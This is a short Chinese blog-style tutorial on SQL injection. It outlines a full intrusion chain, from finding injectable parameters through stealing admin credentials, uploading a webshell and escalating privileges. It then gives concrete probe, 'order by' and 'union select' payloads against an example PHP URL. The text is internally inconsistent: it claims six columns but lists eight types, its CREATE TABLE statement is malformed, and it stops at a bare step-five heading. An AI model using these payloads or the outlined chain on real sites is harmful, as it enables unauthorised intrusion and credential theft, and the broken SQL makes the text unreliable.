SQL 注入经验

一、首先先了解下SQL的典型流程

SQL注入典型流程

1.判断Web系统使用的脚本语言,发现注入点,并确定是否存在SQL注入漏洞

2.判断Web系统的数据库类型

3.判断数据库中表及相应字段的结构

4.构造注入语句,得到表中数据内容

5.查找网站管理员后台,用得到的管理员账号和密码登录

6.结合其他漏洞,想办法上传一个Webshell

7.进一步提权,得到服务器的系统权限

(注:以上为一般流程,根据实际情况,情况可能会有所不同。)


具体如下:

一、查找网站可以注入的地方

要进行注入,首先得先找到网站可以发生注入的地方,这种一般出现在网站供给用户提交条件进行查询的地方,在这些地方先用简单常用的套路进行判断,比如常用的有:输入 ',and 1=2 ,or 1=1,;如果网页发生错误,说明这个地方可注入。

二、二分法确定表中的字段长度

a. http://www.a.com/cms/new.php?id=3 order by 10    返回错误页面,说明字段小于10

b. http://www.a.com/cms/new.php?id=3 order by 5    返回正常页面,说明字段介于5和10之间

c. http://www.a.com/cms/new.php?id=3 order by 7    返回错误页面,说明字段大于5小于7,可以判断字段数是6。下面我们再来确认一下

d. http://www.a.com/cms/new.php?id=3 order by 6     返回正常页面,说明字段确实

三、利用union关键字爆每个字段的类型

http://www.a.com/cms/new.php?id=3 Union select 1,2,3,4,5,6--

根据错误,修改1,2,3,4,5,6,具体对应的类型,比如,如果显示第三个字段char 形不能转换为int的型,可以判断3的地方应该用'a'来代替

四、得出每个字段的类型后,造一个满足条件的表

比如经过上述操作后,6个字段分别为char,char,char,char,smalldatetime,char ,int,int,就造一个自己的表temp

create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3nvarchar(255),int1,int(10),int2,int(10));--

五、利用该临时表爆数据库





你可能感兴趣的:(sql,PHP,ASP注入)